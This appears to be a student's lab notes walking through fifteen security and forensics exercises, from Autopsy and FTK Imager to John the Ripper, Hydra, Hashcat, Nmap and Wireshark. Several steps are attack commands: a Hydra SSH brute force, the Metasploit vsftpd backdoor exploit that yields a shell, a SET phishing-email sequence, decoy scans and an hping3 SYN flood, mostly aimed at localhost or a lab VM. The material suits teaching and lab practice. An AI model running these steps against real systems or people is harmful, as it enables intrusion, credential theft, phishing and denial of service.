

Exp 1 (Metadata2Go):

Just upload any file in <https://www.metadata2go.com/>

Exp 2 (FTK Imager):

Select File -> Select Add Evidence File -> Choose Logical Drive -> Select C:\ -> Finish
Then you can see for existing files, deleted files etc. Also you can export files by right clicking and saving to desktop and Done

Exp 3 (Autopsy):

Create Folder named **Evidence** in Desktop also **.E01** file type should be there on Desktop.
Autopsy -> New Case -> Under Case Info give case name random eg 100 and change Base Directory path to new Folder (**Evidence**)-> Next -> Under Optional Info Case No. 100, Name: Param; click Finish -> Add Data Source -> Under Select Host choose Generate new host name based on data source name -> Under Select Data Source Type choose Disk Image or VM File / Local Disk -> Next -> Under Select Data Source change path to **.E01** file type -> Next -> Next -> Finish -> Generate Report -> Next -> Next -> Finish -> Open report and Done.

Exp 4 (Vulnerability Assessment Nessus):

Step 1: Open Nessus or type in web browser localhost:8834.

Step 2: When asked Targets write "127.0.0.1" or "PC IP" address and submit.

Step 3: Click Scan Vulnerability or Run whatever and done.

Exp 5 (Password Cracking JTR):

Step 1: In Kali Linux terminal type "`echo -n "hello123" | md5sum`" this will create a hash.

Step 2: Create a new file named "`hash.txt`" and paste the hash value in it and save it.

Step 3: In terminal type "`sudo gzip -d /usr/share/wordlists/rockyou.txt.gz`".

Step 4: In terminal run John The Ripper

"`john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt`".

Step 5: View Cracked Password "`john --show --format=raw-md5 hash.txt`".

Exp 6 (Brute- Force Hydra):

Step 1: Create a File named "`pass.txt`" in Kali in any location eg Desktop. Inside the file write a few common passwords like 123456; password; kali etc. Save the file.

Step 2: In terminal "`cd Desktop`" -> "`hydra -V -l kali -P pass.txt 127.0.0.1 ssh`" Done.

Exp 7 (Privilege Escalation Metasploit):

Step 1: Kali and Meta should be on same network

Step 2: Get IP of target (metasploit) by typing "`ifconfig`"

Step 3: Check their connection by typing ping and ip address of metasploit in kali

Step 4: In terminal of kali type `"nmap -sV TARGET_IP" -> "msfconsole" -> "search vsftpd" -> "use exploit/unix/ftp/vsftpd_234_backdoor" -> "set RHOSTS TARGET_IP" -> "set LHOST Attacker_IP" -> "run" -> "sysinfo" -> "getuid" -> "pwd" -> "ls" -> "shell" -> "whoami" -> "exit" .`

Exp 8 (Steghide):

Step 1: 1st download an image and save it as `"image.jpg"` then create a `"SecretText.txt"` write anything in the file and keep both on desktop then `"cd Desktop"`.

Step 2: In terminal type `"steghide embed -ef SecretText.txt -cf image.jpg"`. You'll get the option to enter a passphrase and write anything eg. 1234.

Step 3: Now extracting what is written 1st delete the `SecretText.txt` file and then in terminal type `"steghide extract -sf image.jpg"`.

Exp 9 (SET):

In kali terminal `"sudo setoolkit"` -> Enter `"1"` -> Enter `"5"` -> Enter `"1"` -> Enter `"1"` -> Enter any from 1-11 -> email add of person whom u want to send email to -> Enter `"1"` -> Ur gmail add -> Enter name which will be visible to receiver -> email password -> Enter `"y"` -> Enter `"n"` -> Enter `"n"`. Done.

Exp 10 (Stealth Scanning Nmap):

In Kali terminal `"sudo nmap -sT 127.0.0.1" -> "sudo nmap -sS 127.0.0.1" -> "sudo nmap -sS -T2 127.0.0.1" -> "sudo nmap -f 127.0.0.1" -> "sudo nmap -d RND:5 127.0.0.1"`

Exp 11 (Session Hijacking Wireshark):

In Kali terminal `"sudo wireshark"` -> Double click on `"eth0"` packets will start capturing -> Apply filter `"http"` and press **Enter** -> Open browser in kali linux and search for `"vulnweb"` -> Login using default credential like `"username: test and pass: test"` -> After this stop capturing packets and click on captured packets you'll see the username & pass.

Exp 12 (DOS/DDOS Wireshark):

In Kali terminal `"sudo wireshark"` -> Double click on `"Loopback: lo"` packets will start capturing -> Open 1 more terminal in Kali `"sudo apt install hping3 -y" -> "sudo ping -f 127.0.0.1"` (Use Ctrl + C) -> `"sudo hping3 -s --flood -V 127.0.0.1"` (Use Ctrl + C) -> Stop packet capturing -> Apply filter `"http"` -> Apply filter `"tcp.flags.syn"` -> Expand TCP and you'll see different Flags

Exp 13 (Sec Exposures Nmap):

In Kali terminal `"sudo nmap -sn 127.0.0.1" -> "sudo nmap -sV 127.0.0.1" -> "sudo nmap -O 127.0.0.1" -> "sudo nmap -A 127.0.0.1" -> "sudo nmap --script vuln 127.0.0.1"`

Exp 14 (Encryption OpenSSL/ GnuPG):

Using OpenSSL:

In Kali terminal "*nano secret.txt*" In that write any message eg. **This is a secret message.** ->

"openssl enc -aes-256-cbc -salt -in secret.txt -out secret.enc" -> "cat secret.enc" ->

"openssl enc -aes-256-cbc -d -in secret.enc -out secret.txt" -> "cat secret.txt"

Using GnuPG:

In Kali terminal "*nano secret.txt*" In that write any message eg. **This is a secret message.** ->

"gpg -c secret.txt" -> "cat secret.txt.gpg" -> "gpg --decrypt secret.txt.gpg"

Exp 15 (Cryptanalysis Hashcat):

In Kali terminal "*echo -n "hello" | md5sum*" You get some nos which is MD5 hash output; copy it and paste it in next cmd instead of "ouput" -> "*hashid output*" -> "*echo output > hash.txt*" ->

"hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt".